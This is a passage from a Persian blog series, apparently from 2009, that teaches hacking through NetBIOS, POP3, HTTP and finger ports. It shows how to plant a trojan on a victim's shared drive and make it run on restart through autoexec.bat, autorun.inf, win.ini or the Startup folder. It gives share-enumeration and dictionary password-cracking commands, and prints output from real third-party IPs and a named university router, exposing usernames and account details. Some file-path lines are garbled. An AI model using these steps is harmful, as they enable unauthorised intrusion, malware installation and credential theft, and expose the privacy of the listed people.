۴- اگه داريد يک کلاينت رو هک مي‌کنيد، بايد سريع عمل کنيد تا قبل از اينکه طرف disconnect کنه کار شما تموم شده باشه.
۵- روش‌هاي ديگري هم براي کار با NetBIOS هست که يکي از اون روش‌ها استفاده از يک سري نرم‌افزارهاي خاص است که تو درس بعدي توضيح مي‌دم و نيز يک روش ديگه اعمال تغييرات در فايل‌هاي HOST و LMHOST و استفاده از find در سيستم‌عامل ويندوز است. ولي چون اين روش دنگ و فنگش زياده، جالب نيست.
۶- براي اينکه بتونيم با NetBIOS کار کنيم، علاوه بر اينکه در کامپيوتر طرف مقابل بايد فعال باشه، روي کامپيوتر خودمون هم فعال باشه. چون در حالت پيش‌فرض در کامپيوتر فعال است، معمولا مشکلي نيست.


- چگونه NetBIOS را روي کامپيوتر خودمان فعال يا غير فعال کنيم؟

براي غيرفعال کردن NetBIOS در ويندوز با توجه به نوع آن ويندوز روش‌هاي مختلفي هست. جدول پاييني براي همين موضوع طراحي شده است:

Win 2000

Win XP Home

Win XP Professional

Start > Programs > Administrative Tools > Local Security Settings > Local Policies > Security Options > Additional restrictions of anonymous connections > Local policy setting > "No access without explicit anonymous permissions" > Ok

 

Start > Programs > Administrative Tools > Local Security Settings > Local Policies >
1) Network Access: Do not allow anonymous enumeration of SAM accounts: Enabled
2) Network Access: Do not allow anonymous enumeration of SAM accounts and shares: Enabled

Start > Run > regedit > HKEY_LOCAL_MACHINE > HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Control > LSA > RestrictAnonymous=2

مي‌تونيد به کمک فايروال يا روتر پورت‌هاي زير را ببنديد:
135         TCP             DCE/RPC Portmapper
137         TCP/UDP         NetBIOS Name Service
138         TCP/UDP         NetBIOS Datagram Service
139         TCP             NetBIOS Session Service
445         TCP             Microsoft-DS (Windows 2000 CIFS/SMB)


۱- وقتي پورت ۱۳۹ رو مي‌بنديد، ديگه نمي‌تونيد از NetBIOS استفاده کنيد ( مگر اينکه دوباره پورت رو به صورت فعال در‌ آوريد). پس وقتي که کسي رو مي‌خواهيد هک کنيد، نياز داريد که براي مدت کوتاهي دوباره پورت رو فعال کنيد.

۲- مي‌بينيد که مثلا براي ويندوز ۲۰۰۰ به سه روش کار کنيد، در اين جدول فقط کافي است يکي رو اعمال کنيد.

۳- اگه بعد از غير فعال کردن، دوباره بخواهيد فعال کنيد، در مرحله آخر هر يک از روش‌هاي بالا، گزينه‌اي که مخالف گزينه ذکر شده در جدول است رو انتخاب کنيد، مثلا اگه در جدول Enabled را نوشته‌ايم، شما Disable را انتخاب کنيد.


- چگونه از اين امکانات به اشتراک گذاشتن، براي اجراي يک تروجان روي کامپيوتر قرباني استفاده کنيم؟

خوب ما هنوز طريقه استفاده از تروجان رو ياد نگرفتيم ولي سعي مي‌کنم تو يکي از درس‌هاي آينده اونو توضيح بدم. ما اينجا مي‌خواهيم از تروجان در رابطه با پورت ۱۳۹ استفاده کنيم. حالا سوال اين است که تروجان (trojan) چيست؟
تروجان به‌طور ساده برنامه‌اي اجرايي است، که ما براي طرف مقابل مي‌فرستيم و اگه طرف مقابل اونو اجرا کنه، ما مي‌تونيم کنترل سيستم‌ اونو به دست بياريم. تا اينجا کافي است فعلا ولي بعدا بيشتر توضيح مي‌دم.
حالا همان بحث تروجان ولي در رابطه با پورت ۱۳۹ :
روش کار به اين صورت است که فرضا من الان تونستم يک درايو رو از يک کامپيوتر با پورت باز Share کنم. حالا فايل تروجان ( سرور تروجان ) را upload مي‌کنم به اون کامپيوتر و اسمي براش انتخاب مي‌کنم که طرف مقابل رو به اجراي فايل تشويق کنه. يک اشتباهي که بعضي‌ها مي‌کنند اينه که بعد از کپي کردن تروجان در کامپيوتر هدف، خود هکر مي‌آد و فايل رو دابل کليک مي‌کنه، در اين حالت تروجان روي کامپيوتر خودمون (هکر) اجرا مي‌شه نه کامپيوتر قرباني. پس ما فقط فايل رو مي‌فرستيم و منتظر مي‌مونيم که طرف مقابل اجرا کنه.

حالا چند روش رو مطرح مي‌کنم که در شرايط خاص حالتي رو ايجاد مي‌کنه که نيازي با دابل‌کليک توسط قرباني نباشد:
۱- اگه به درايو C کامپيوتر مقابل دسترسي داريد، يک سطر به فايل autoexec.bat اضافه کنيد که نام و مسير فايل اجرايي را در اون سطر بنويسيد. مثلا اگه اسم تروجان ali.exe باشد و در مسير d: ewfolder باشد، سطري که اضافه مي‌کنيم به صورت زير است:

d:
ewfolderali.exe

در اين حالت به محض اولين restart کامپيوتر، تروجان اجرا خواهد شد.
۲- اگه به درايو C دسترسي داريد، مي‌تونيد فايلي به اسم Autorun.inf ايجاد کنيد و دستورات زير را بنويسيد ( سطر آخر مطابق با همان تروجان فرضي که در مثال قبل گفتيم، نوشته شده است، اونو با توجه به اسم تروجان و مسير اون تغيير دهيد) :

[autorun]
open=d:
ewfolderali.exe

۳- اگه به فولدر ويندوز دسترسي داريد، مي‌تونيد يک سطر مثل همان مثال قبل ولي براي فايل winstart.bat اجرا کنيد. در اين حالت هم به محض restart اجرا خواهد شد.
۴- اگه به فولدر ويندوز دسترسي داريد، در فايل win.ini و بعد از قسمتي که [windows] نوشته، اين سطر رو اضافه کنيد:

run=d:
ewfolderali.exe

۵- اگه به فولدر ويندوز دسترسي داريد، مي‌تونيد تروجان رو به فولدر Start MenuStartup اضافه کنيد. در اين حالت نيازي به ويرايش هيچ فايل ديگري نيست.


- ابزارهاي کمکي: ۱- ابزارهاي خط فرماني


۱- enum :
اين برنامه را از
اينجا داون‌لود کنيد. enum نرم‌افزاري با قابليت‌هاي فوق‌العاده است. از جمله توانايي‌هايي که دارد، در مواردي است که کامپيوتر طرف مقابل براي اعمال sharing از ما پسورد بخواد. در اين موارد مي‌تونيم به کمک enum و ليستي از پسوردهايي که در يک فايل ذخيره شده، تعداد زيادي پسورد رو چک کنيم ( اصطلاحا cracking ) و شايد به نتيجه برسيم. ( اين موضوع را بعدا بيشتر توضيح مب‌دم) کاربردي که الان مد نظر ماست، پيدا کردن ليست share هايي است که کامپيوتر مقابل براي ما باز گذاشته است. مثلا من دستور زير را تايپ کردم، تا ليست اشتراک‌هاي آن ip خاص در آن لحظه رو بدست بيارم:

enum -S 217.218.84.29

و جواب شنيدم:

server: 217.218.84.29
setting up session... success.
enumerating shares (pass 1)... got 10 shares, 0 left:
  E$  IPC$  D$  print$  SharedDocs  F$  Printer2  ADMIN$  C$  Printer
cleaning up... success.

ملاحظه مي‌فرماييد که درايو‌هاي E و D و F و C و نيز SharedDocs و ... ليست شده است. بقيه مراحل مثل درس ۲۱ است. (دقت کنيد که در اين حالت نيازي به null session نيست ).

۲- nbtscan :
اين برنامه را از
اينجا داون‌لود کنيد. اين برنامه دقيقا معادل nbtstat است ولي با اين تفاوت که مي‌تونه تعداد زيادي ip رو همزمان تست کنه و ليست share ها رو بدست بياره. اين دقيقا راه‌حلي است براي سوالي که خيلي از شما دوستان پرسيده بودين. مثلا اگه بنويسم:

nbtscan -v -s : 195.219.49.0-30

که ليست اشتراک‌ها رو از ip شماره 195.219.49.0 تا 195.219.49.30 بدست مياره. جواب مي‌شنوم:

195.219.49.1    Recvfrom failed: Connection reset by peer
195.219.49.5    Recvfrom failed: Connection reset by peer
195.219.49.6    Recvfrom failed: Connection reset by peer
195.219.49.7    Recvfrom failed: Connection reset by peer
195.219.49.8    Recvfrom failed: Connection reset by peer
195.219.49.12   Recvfrom failed: Connection reset by peer
195.219.49.23:MRS.ZADE       :00U
195.219.49.23:ATINET_MRA     :00G
195.219.49.23:MRS.ZADE       :03U
195.219.49.23:MAC:44-45-53-54-00-00
195.219.49.28:MAC:44-45-53-54-00-00
195.219.49.26:KIYARASH-R96L0K:00U
195.219.49.26:KIYARASH-R96L0K:20U
195.219.49.26:WORKGROUP      :00G
195.219.49.26:WORKGROUP      :1eG
195.219.49.26:MAC:00-53-45-00-00-00
195.219.49.22:FARHANG-ZCT780D:00U
195.219.49.22:FARHANG-ZCT780D:20U
195.219.49.22:WORKGROUP      :00G
195.219.49.22:WORKGROUP      :1eG
195.219.49.22:MAC:00-53-45-00-00-00
195.219.49.29:TESSA          :00U
195.219.49.29:WORKGROUP      :00G
195.219.49.29:TESSA          :03U
195.219.49.29:MAC:44-45-53-54-00-00
195.219.49.25:MAC:44-45-53-54-00-00

در مورد ip هايي که 20U را مي‌بينيد، يعني sharing رو ميشه استفاده کرد.

۳- winfo :
اينم از جمله برنامه‌هايي است که بايد بگم آخر برنامه است!! از
اينجا داون‌لود کنيد. البته توانايي تست تعداد زيادي ip رو نداره ولي وقتي يه ip رو تست مي‌کنه همه‌چي شو در رو مي‌کنه. (البته ميشه گفت همه اين کارها رو مي‌شه با enum هم انجام داد ). مثلا من دستور زير را تايپ کردم :

winfo 195.219.49.184 -n -v

و به نتايج زير رسيدم:

Winfo 2.0 - copyright (c) 1999-2003, Arne Vidstrom
          - http://www.ntsecurity.nu/toolbox/winfo/

Trying to establish null session...

Null session established.


SYSTEM INFORMATION:

 - OS version: 4.0

DOMAIN INFORMATION:

 - Primary domain (legacy): DSG
 - Account domain: TEHRAN

   Warning: Unable to retrieve domain DNS information.
   Reason : Not supported by the remote OS.


PASSWORD POLICY:

 - Time between end of logon time and forced logoff: No forced logoff
 - Maximum password age: 42 days
 - Minimum password age: 0 days
 - Password history length: 0 passwords
 - Minimum password length: 0 characters

LOCOUT POLICY:

 - Lockout duration: 30 minutes
 - Reset lockout counter after 30 minutes
 - Lockout threshold: 0

SESSIONS:

 - Computer: ARTAWILL-V0P1QR
 - User:

LOGGED IN USERS:

 * Administrator

USER ACCOUNTS:

 * Administrator

    - Password age: 666 days
    - Privilege level: Administrator
    - Home directory:
    - Home directory mapped as:
    - Comment: Built-in account for administering the computer/domain
    - Account is: Enabled
    - User can change password: Yes
    - Account is locked out: No
    - Password never expires: Yes
    - The account is: Normal user
    - Logon script path:
    - Full name:
    - User comment:
    - Can log in from workstations: All
    - Last logon to this DC / computer: Mon Mar 03 23:10:23 2003
    - Last logoff from this DC / computer: Tue Dec 11 23:57:37 2001
    - Account expires: Never
    - Max disk space: Unlimited
    - Failed logins in a row to this DC / computer: 0
    - Path to user profile:
    - Password has expired: No

   (This account is the built-in administrator account)

 * Guest

    - Password age: 680 days
    - Privilege level: Guest
    - Home directory:
    - Home directory mapped as:
    - Comment: Built-in account for guest access to the computer/domain
    - Account is: Disabled
    - User can change password: No
    - Account is locked out: No
    - Password never expires: Yes
    - The account is: Normal user
    - Logon script path:
    - Full name:
    - User comment:
    - Can log in from workstations: All
    - Last logon to this DC / computer: None
    - Last logon to this DC / computer: None
    - Account expires: Never
    - Max disk space: Unlimited
    - Failed logins in a row to this DC / computer: 0
    - Path to user profile:
    - Password has expired: No

   (This account is the built-in guest account)

 * TEST

    - Password age: 680 days
    - Privilege level: User
    - Home directory:
    - Home directory mapped as:
    - Comment:
    - Account is: Enabled
    - User can change password: Yes
    - Account is locked out: No
    - Password never expires: No
    - The account is: Normal user
    - Logon script path:
    - Full name:
    - User comment:
    - Can log in from workstations: All
    - Last logon to this DC / computer: None
    - Last logon to this DC / computer: None
    - Account expires: Never
    - Max disk space: Unlimited
    - Failed logins in a row to this DC / computer: 0
    - Path to user profile:
    - Password has expired: Yes

WORKSTATION TRUST ACCOUNTS:

INTERDOMAIN TRUST ACCOUNTS:

SERVER TRUST ACCOUNTS:

SHARES:

 * ADMIN$

    - Type: Special share reserved for IPC or administrative share
    - Remark: Remote Admin

 * IPC$

    - Type: Unknown
    - Remark: Remote IPC

 * C$

    - Type: Special share reserved for IPC or administrative share
    - Remark: Default share

بعدا سعي خواهم کرد که در مورد تک تک اينها بحث کنم براتون. ولي به عنوان مثال در آخرها مي‌تونين، share ها رو ببينيد.

۴- NAT :
اين برنامه را از
اينجا داون‌لود کنيد. يکي از مهم‌ترين کاربرد‌هاي اون crack کردن پسورد sharing است ( مثل enum ). براي کار با NAT کافي است، بنويسيد nat و بعد يک فاصله و بعد ip را مي‌نويسيم. حتما تست کنيد و نتيجه رو ببينيد... ( تکليف براي خودتون )

۵- و ...


- ابزارهاي کمکي: ۲- ابزارهاي گرافيکي

۱- netbrute :
اين برنامه را از
اينجا داون‌لود کنيد. من از بين ابزارهاي گرافيکي اينو توصيه مي‌کنم اگرچه به اندازه دو نرم‌افزار بعدي مشهور نيست. من نمي‌خوام روش کار با اينو توضيح بدم چون خيلي تابلو‌ ه! ضمنا اين نرم‌افزار داخل خودش يک پورت اسکنر هم داره که خيلي به درد مي‌خوره. حتما حتما حتما داون‌لود کنيد اينو و اونقدر انگولکش کنيد که سر در بيارين ازش. قرار نيست که همي‌چي رو من بهتون بگم !!

۲- Legion :
اگه بگم مشهورترين نرم‌افزار اسکن کردن پورت‌ ۱۳۹ اين نرم‌افزاره، سخن گزافي نيست!! خيلي‌ها کشته مرده اون هستن ولي من زياد ازش خوشم نمي‌آد. اما بايد قبول کرد که کارش واقعا عاليه!!! به هر حال اگه خواستين داول‌لود کنيد،
اينجا رو کليک کنيد.

۳- DumpSec يا DumpACL :
اين هم خيلي معروفه. اگه خواستين مي‌تونين از
اينجا داون‌لود کنيد.


- آيا چيز ديگه‌اي راجع به اين پورت مونده که بحث نشده باشد؟

بله!
۱- يه نرم‌افزاري هست به اسم pqwak که اين‌طوري که مي‌گن، اگه کامپيوتر مقابل ويندوز ۹۸ باشه، مي‌تونه پسورد اونو سه سوت در بياره. ( اين برنامه از نقطه ضعف ويندوز ۹۸ راجع به netbios استفاده مي‌کنه و اونو exploit مي‌کنه) چون من درسم راجع به هک کردن سرورهاست و نه کلاينت، پس نبايد زياد به درد ما بخوره ( توجه کنيد که ويندوز ۹۸ تو کار کلاينت‌اش هم مونده، چه برسه به اينکه سرور باشه! ). خودتون بگردين و اونو اگه مي‌خواين پيدا کنيد.
۲- ما بحث استفاده از نقاط ضعف پورت‌ها رو هنوز شروع نکرده‌ايم و در مورد پورت ۱۳۹ هم همينطوره. به عنوان مثال روش‌هايي هست که پورت ۱۳۹ رو exploit کنيم و اون مراحلي که توش گير مي‌کرديم رو دور بزنيم.


- نکاتي راجع به enum

خوب قبلا گفتم که enum نرم‌افزار بسيار مهمي در ارتباط با پورت ۱۳۹ است. حالا مي‌خوام دو کاربرد خاص از اونو براتون توضيح بدم:

۱- گرفتن password policy information :
در ويندوزهاي NT مي‌شود يک سري پارامتر رو براي پسوردها ست کرد. مثلا اينکه حداقل طول پسورد و حداکثر اون چقدر باشه و ... براي اينکه اين policy رو بدست بياريد، از سويچ P استفاده مي‌کنيم. مثلا مي‌نويسيم:

enum -P xxx.xxx.xxx.xxx

و جواب مي‌شنوم:

server: xxx.xxx.xxx.xxx
setting up session... success.
password policy:
  min length: none
  min age: none
  max age: 42 days
  lockout threshold: none
  lockout duration: 30 mins
  lockout reset: 30 mins
cleaning up... success.

خودتون که دارين مي‌بينين!

۲- استفاده از روش cracking براي پيدا کردن پسورد:
اگه با NetBIOS کار کرده باشيد، حتما ديديد که بعضي وقت‌ها (خصوصا در مورد سرورها) پسورد از ما سوال ميشه. (پسورد وقتي پرسيده ميشه که بخواهيم، مرحله ۴ رو از بالا انجام بديم). وقتي پسورد نداشته باشيد، کاري نمي‌تونيد بکنيد. پس ما کاري که مي‌کنيم، اينه که يک سري پسورد را توسط enum تست مي‌کنيم که يکي جواب بده - يا اينکه نده !
اصولا تست کردن تعداد زيادي پسورد براي پيدا کردن پسورد درست رو crack کردن پسورد به روش brute force يا bf مي‌گن ( اين bf رو با اون bf اشتباه نگيريد!! ). البته استفاده از روش bf مختص NetBIOS نيست و خيلي جاها استفاده ميشه. اينم بگم که استفاده از روش bf يه کمي کلاس کار شما رو به عنوان هکر پايين مياره...
حالا چيري مي‌خوايم، يک فايل بزرگ از پسوردهايي است که معمولا مردم استفاده مي‌کنن. براي پيدا کردن اين فايل‌ها که اصطلاحا dictionary file ناميده مي‌شوند به صورت زير است:
الف) استفاده از ديکشنري‌هاي آماده مثل
The Argon که مشهورترين ديکشنري کرکينگ مي‌باشد با حجمي حدود ۲۴ مگابايت!
ب) بعضي وقت‌ها خودمون مي‌خواهيم يه ديکشنري بسازيم، در اين موارد کاري که مي‌کنيم اينه که از نرم‌افزارهاي سازنده ديکشنري استفاده مي‌کنيم. مثلا وقتي که شما مي‌دونيد که فلاني از پسوردهاي ۸ حرفي استفاده مي‌کنه و ... براي اين‌کار نرم‌افزارهاي زيادي هست که چند نمونه مهمش عبارتند از:
DCM 2.0 و DICTIONARY MAKER و PASSLIST.TXT GENERATOR و ...

حالا که يه فايل ديکشنري دارم مي‌تونم کار کرک پسورد NetBIOS رو شروع کنم. فرض کنيد که وقتي مي‌خوام Ali رو در يک ip به شماره xxx.xxx.xxx.xxx رو با يک فايل ديکشنري به اسم theargon.lst کرک کنيم. دستوري که براي اين‌کار استفاده مي‌کنيم، اينه:

enum -D -f "theargon.lst" -u "Ali" xxx.xxx.xxx.xxx

حالا enum مياد و تمام پسوردها رو تست مي‌کنه تا ايشالله به جواب برسه!
اينقدر که از enum تعريف کردم ديگه بسه! مشکلي که enum راجع به کرک پسورد داره اينه که خيلي کند کار ميکنه. ممکنه ساعت‌ها وقت لازم باشه. راه‌حل چيه؟


- راه حل براي سرعت بخشيدن کرک کردن پسورد NetBIOS

راه‌حل اينه که اصلا از enum استفاده نکنيد. براي کرک پسورد NetBIOS سعي کنيد از نرم‌افزار
SMB Auditing Tool استفاده کنيد. در عرض چند دقيقه کار تموم ميشه! دليلش هم اينه که اين نرم‌افزار از يک bug استفاده مي‌کنه که اجازه ميده تعداد زيادي پسورد رو در يک لحظه تست کنيد. اينم بگم که اين نرم‌افزار مخصوص سيستم‌عامل لينوکس و يونيکسه. (من اين فايل رو چند وقت پيش داون‌لود کردم. امروز که تست کردم لينک جواب نداد. اگه چند روز آينده هم جواب نده، فايل خودم رو upload مي‌کنم که از far30.com بگيريدش)

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:37 قبل از ظهر  به دست ابی | 

پورت ۱۱۰ چيست؟




- پورت ۱۱۰ چيست؟

پورت ۱۱۰ براي پروتکل POP3 استفاده مي‌شود. عبارت POP3 مخفف Post Office Protocol Version 3 است که اين پروتکل براي خواندن E-mail استفاده مي‌شود. براي کار با اين پروتکل بايد آدرس POP Server مربوط به E-mail خود را بدانيد. براي اين‌کار مي‌توان از nslookup استفاده کرد و سطري که عبارت MX دارد را خواند (قبلا چگونگي کار را گفتم و الان ديگه توضيح نمي‌دم). دقت کنيد که در مورد سايت‌هاي کوچک، آدرس POP Server همان آدرس SMTP Server است ولي در سايت‌هاي بزرگ (مثل ياهو‌ ) سرور‌هاي مربوطه جداست ( يعني دو اسم مختلف دارد ). در مورد سايت ياهو POP Server در آدرس pop.mail.yahoo.com قرار دارد. ( من جديدا اين سرور رو تست نکردم، خودتون تست کنيد و مطمئن بشيد ). من امروز مي‌خوام از E-mail هاي سايت noavar.com استفاده کنم که هم خيلي عاليه و هم ايرانيه! POP Server اين سايت در آدرس mail.noavar.com قرار دارد.


- با پورت ۱۱۰ صحبت کنيم

فرض کنيد که من در سرور mail.noavar.com يک اکانت به اسم araztest و پسورد mypass دارم. (شما هم اگه مي‌خواهيد تست کنيد، يک اکانت براي خودتون در اين سايت باز کنيد). حالا مي‌خوام با پورت ۱۱۰ صحبت کنم، بنابراين از يکي از دو دستور زير استفاده مي‌کنم:

telnet mail.noavar.com 110
nc -v mail.noavar.com 110

و جواب مي‌شنوم:

+OK POP3 server www.noavar.com ready

دقت کنيد که اگه از تلنت استفاده کنيد،چيزهايي که شما تايپ مي‌کنيد، ديده نمي‌شود و نمي‌تونيد از دکمه ‌Backspace‌ استفاده کنيد. حالا مي‌خوام بگم که اسم اکانت من araztest است، پس مي‌نويسم:

user araztest

و جواب مي‌شنوم:

+OK Please enter password for araztest

حالا مي‌خوام پسوردم رو بگم که اجازه صادر بشه! مي‌نويسم:

pass mypass

و جواب مي‌شنوم:

+OK password for user araztest Accepted

حالا مي‌خوام بدونم که جمعا چندتا mail رسيده است و حجم کل چقدر است. مي‌نويسم:

stat

و جواب مي‌شنوم:

+OK 2 25924

يعني براي من ۲ تا پيغام رسيده و حجم کل پيام‌هاي رسيده، ۲۵۹۲۴ بايت است. حالا مي‌خوام ليست پيام‌ها رو داشته باشم، مي‌نويسم:

list

و جواب مي‌شنوم:

+OK
1 70
2 24923
.

اين يعني پيغام شماره يک (پيغام جديدتر) حجم ۷۰ بايت دارد و پيغام شماره دو حجم ۲۴۹۲۳ بايت دارد. حالا مي‌خوام پيغام شماره ۱ را بخونم. مي‌نويسم:

retr 1

و جواب مي‌شنوم:

+OK 70 octets
Message-ID: <875808060@www.noavar.com>
From: "ali" 
X-Mailer: Noavar
To: araztest@noavar.com
MIME-Version: 1.0
Subject: salam
Date: Thu, 13 Feb 2003 20:05:56

salam, chetori?
.

حالا مي‌خواهم اين پيغام ( شماره يک ) رو پاک کنم، مي‌نويسم:

dele 1

و جواب مي‌شنوم:

+OK Message 1 Marked for removal

[ دقت کنيد که اين پيغام هنوز پاک نشده است و فقط علامت خورده که موقع خروج، پاک بشه. حالا ممکنه چندتا پيغام را مارک کنيد که حذف بشه ولي بعد بي‌خيال! مي‌شين. براي اينکه اين علامت‌ها را حذف کنيد که موقع خروج ديگه پاک نشوند، مي‌تونيد بنويسيد:

rset

و جواب مي‌شنوم:

+OK 1 70

]
حالا اگه بخواهم خارج بشم (و علامت‌خورده‌ها پاک بشن)، مي‌‌نويسم:

quit

و جواب مي‌شنوم:

+OK www.noavar.com signing off
+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:35 قبل از ظهر  به دست ابی | 

پورت ۸۰ چيست؟



- پورت ۸۰ چيست؟

پورت ۸۰ يکی از مهم‌ترين پورت‌هاست. دنيای وب (صفحات اينترنتی) بر اساس همين پورت کار می‌کنه. توضيح اينکه وقتی به يه سايت وصل می‌شيم و صفحه وب را درخواست می‌کنيم، در واقع مرورگر اينترنتی به پورت ۸۰ اون کامپيوتر وصل می‌شه و اطلاعات رو می‌گيره (البته بعد از گرفتن اطلاعات اون رو تفسير می‌کنه و به صورت يه صفحه نشون می‌ده - دقت کنيد که اطلاعات در واقع به صورت يک سری تگ HTML است ).


- با پورت ۸۰ صحبت کنيم

حالا ما می‌خواهيم با پورت ۸۰ يک کامپيوتر صحبت کنيم ولی به کمک telnet و nc.
اول بايد يه connection (اتصال) با پورت ۸۰ برقرار کنيم (مثلا برای سايت hotmail.com بايد بنويسم):

telnet www.hotmail.com 80
nc -v www.hotmail.com 80

پس اول بايد يکی از دستورات بالا را استفاده کنيم. من هميشه توصيه‌ام استفاده از nc بوده و خواهد بود.
حالا بايد شروع به صحبت با پورت ۸۰ کنيم. من فعلا دو تا جمله براتون می‌گم و بقيه‌اش بمونه واسه بعد. دقت کنيد که موقع کار با پورت ۸۰ با تلنت (نه nc) دستوراتی که ما می‌نويسيم، نمايش داده نمی‌شود ولی کار می‌کنه.
۱- اولين جمله اينه: GET / HTTP/1.0 و بعدش دوتا Enter
به فاصله‌ها دقت کنيد. دو طرف / ی که بعد از GET است، فاصله وجود دارد. اين جمله به پورت ۸۰ می‌گه که هرچی در header داره، نشون بده. و جواب می‌شنوم:

HTTP/1.0 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Thu, 05 Dec 2002 12:02:51 GMT
Location: http://lc2.law5.hotmail.passport.com/cgi-bin/login
X-Cache: MISS from cache5.neda.net.ir
Connection: close


۲- دومين جمله اينه: GET / what/ever و بعدش دوتا Enter
به فاصله‌ها دقت کنيد. اين دستور باعث ميشه که هر چی داره، رو کنه.

البته توجه کنيد که ما مسير را مشخص نکرديم. اين حالت که بدون مسير است خيلی وقت‌ها کار نمی‌کنه (مثل همين مثال !!)


گاهی پيش می‌آد که يک سری دستورات خاص را هميشه بايد پشت‌ سرهم به يه پورت خاص بفرستيم و بخواهيم در وقت صرفه‌جويی کنيم. مثلا همين جمله GET / HTTP/1.0 و دو Enter پشت سرهم که هميشه استفاده می‌کنيم. در اين موارد می‌توان اين دستورات را در يک فايل تايپ کرد (همراه با Enter ها که بايد موقع نوشتن حتما بزنيد) و بعد مثلا با نام ali.txt ذخيره کنيد و بعد يکی از دستورات زير را بنويسيم:

nc -v www.far30.com 80 < ali.txt
type ali.txt | nc -v www.far30.com 80

که همان کارهای بالايی را انجام ميده.


- حالا مي‌خوام مسير رو مشخص کنم

مثلا فرض کنيد که مي‌خوام فايلي به اسم index.html را از مسير startup در سايتي به اسم www.site.com داون‌لود کنيم. اول يه nc مي‌کنيم به سايت. بعد مي‌نويسيم:

GET /startup/index.html HTTP/1.0

بعد دو تا Enter مي‌زنيم.
اين مثال نشون ميده که چطوري مسير رو ميشه مشخص کرد. همين کار رو مي‌تونيم براي فايل‌هايي مثل فايل‌هاي گرافيکي و ... انجام بديم و حتي مي‌تونيد اطلاعاتي که مي‌رسه رو در يک فايل ذخيره کنيد. براي اين‌کار مي‌نويسيد:

nc -v www.site.com 80 > index.html

(اين کاري که کرديم با موردي که در بالا نوشتيم فرق مي‌کنه! در بالا دستورات GET رو تو يه فايل مي‌نوشتيم و مي‌فرستاديم که اجرا بشه ولي الان داريم نتايجي که بر مي‌گرده رو در يک فايل ذخيره مي‌کنيم!) ميشه اين دوتا رو ترکيب کرد مثلا نوشت:

nc -v www.site.com 80 < dastoorat.txt > index.html
+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:34 قبل از ظهر  به دست ابی | 

پورت ۷۹ چيست؟



- پورت ۷۹ چيست؟

پورت ۷۹ را پورت finger مي‌گويند. کاربرد اين پورت به اوايل ايجاد اينترنت بر‌مي‌گرده و کاربردش مخصوص سيستم‌عامل يونيکس بوده‌است (الان هم تقريبا فقط در خانواده سيستم‌های يونيکس اين پورت قابل استفاده است).
وقتي اين پورت روی سيستم‌عامل يونيکس باز باشه، مي‌شه با يک request ساده فهميد که از بين کساني که در آن سيستم account دارند، کدام‌ها on هستند (يعني کدام‌ها به سيستم login شده‌اند). برنامه‌اي که پورت ۷۹ رو در يک سيستم باز مي‌کنه، finger server مي‌گن و چون مختص سيستم‌عامل يونيکس است، مي‌تونين از عبارت Finger Deamon استفاده کنين. حالا که پورت ۷۹ روي سيستم باز شد، شما مي‌تونين با اون ارتباط برقرار کنين.


- با پورت ۷۹ صحبت کنيم

همان‌طور که مي‌دانيد، براي صحبت کردن با پورت‌ها از دو برنامه telnet و nc ميشه استفاده کرد. در مورد پورت ۷۹ يه نرم‌افزار ديگر به نام finger در تمام سيستم‌عامل‌های يونيکس و برخي سيستم‌عامل‌هاي ويندوز وجود دارد که علاوه بر دو برنامه قبلي، اونم مي‌شه به کار برد.
فرض کنيد که مي‌خوام با پورت ۷۹ در کامپيوتری به اسم router2.iums.ac.ir ارتباط برقرا کنم. برای اين‌ کار يکي از سه دستور زير را استفاده مي‌کنم:

telnet router2.iums.ac.ir 79
nc -v router2.iums.ac.ir 79
finger .@router2.iums.ac.ir

دقت کنيد که در دو دستور اول شماره پورت مشخص شده ولي دستور آخري نه، چون دستور finger فقط براي همين‌کار استفاده مي‌شه و نمي‌توان باهاش با پورت ديگه‌ای ارتباط برقرار کرد. ضمنا به ساختار دستور آخر توجه کنيد. بعد از اجرای دستور، جواب مي‌شنوم:

    Line     User      Host(s)                  Idle Location
  33 tty 33  whgh      Async interface          0
  34 tty 34  najahan   Async interface          0
  35 tty 35  sadf      Async interface          0
  36 tty 36  abokho    Async interface          0
  38 tty 38  whgh      Async interface          0
  39 tty 39  bzamani   Async interface          0
  40 tty 40  saeedmah  Async interface          0
  41 tty 41  mfaizi    Async interface          0
  42 tty 42  gourabi   Async interface          0
  43 tty 43  farhadz   Async interface          0
  44 tty 44  arbks     Async interface          0
  45 tty 45  mhalavi   Async interface          0
  46 tty 46  farhood   Async interface          0
  47 tty 47  staavoni  Async interface          0
  48 tty 48  whgh      Async interface          0
* 66 vty 0             idle                     0 217.218.84.58

  Interface  User      Mode                     Idle Peer Address

نکته مهم اين است که اطلاعاتي که به کمک پورت ۷۹ به دست مي‌آد، خيلي بستگي به سروري داره که اين اطلاعات رو مي‌فرسته. بعضي از سيستم‌ها علاوه بر نام افراد (username) که در اين مثال ديده مي‌شه، نام و نام خانوادگي افراد، ساعت و محل login کردن و ... را نمايش مي‌دهند. اما چيزي که هميشه وجود دارد و مشترک است، username هاست که از نقطه نظر يک هکر بسيار ارزشمند است. در اين مثال ما اکانت‌هايي به اسم najahan ،whgh و ... در اين سرور وجود دارد و افراد مربوطه در حال حاضر login کرده‌اند. اگر اکانتي موجود باشد ولي فرد مورد نظر در حال حاضر از آن اکانت وارد نشده باشد، نمايش داده نمي‌شود. اين ليست فقط براي اکانت‌های فعال است. پس نتايجي که شما در ارتباط با اين سرور کسب مي‌کنيد، با نتايجي که من نوشتم متفاوت خواهد بود.


- اين اطلاعات به چه دردي مي‌خورد؟

اول اينو بگم که finger کردن، جزئي از مراحل Enumeration است (البته در حالت کاربرد legal يا قانوني). منظور از عبارت Enumeration يا به طور خلاصه Enum، پيدا کردن ليست کاربران است.
+ فرض کنيد مي‌خواهيد يک ليست از پسورد‌ها را تست کنيد تا اينکه يکي شانسي درست در بياد (درست مثل دزدها که يه سري کليد را تست مي‌کنن که يکي به قفل بخوره و باز کنه!) حالا سوال اينه که اين پسورد‌ها رو برای چه username ي تست مي‌کنيد؟ جواب، username هايي است که با Enumeration به دست اومده است. پس اول با Enumeration يه ليست پيدا مي‌کنيد و بعد تعداد زيادی پسورد رو روش تست مي‌کنيد (روش اين کارو بعدا مي‌گم).
